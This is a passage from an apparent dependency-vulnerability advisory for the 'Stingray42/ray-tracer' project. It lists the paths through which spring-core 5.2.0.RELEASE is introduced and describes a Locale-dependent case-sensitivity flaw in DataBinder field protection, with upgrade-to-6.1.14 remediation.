    Remediation: Upgrade to org.springframework:spring-context@6.1.14.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-beans@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@6.1.14.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-aop@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@6.1.14.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-expression@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@6.1.14.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.gluonhq:ignite-spring@1.0.2 org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-aop@5.2.0.RELEASE org.springframework:spring-beans@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@6.1.14.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.gluonhq:ignite-spring@1.0.2 org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-beans@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.gluonhq:ignite-spring@1.0.2 org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-aop@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.gluonhq:ignite-spring@1.0.2 org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-expression@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.gluonhq:ignite-spring@1.0.2 org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-aop@5.2.0.RELEASE org.springframework:spring-beans@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE

Overview

org.springframework:spring-core is a core package within the spring-framework that contains multiple classes and utilities.

Affected versions of this package are vulnerable to Improper Handling of Case Sensitivity due to String.toLowerCase() having some Locale dependent exceptions that could potentially result in fields not protected as expected.

Note:

The fix for CVE-2022-22968 made disallowedFields patterns in DataBinder case insensitive.

This vulnerability was also fixed in commercial versions 5.3.41 and 6.0.25.

Remediation

Upgrade org.springframework:spring-core to version 6.1.14 or higher.

References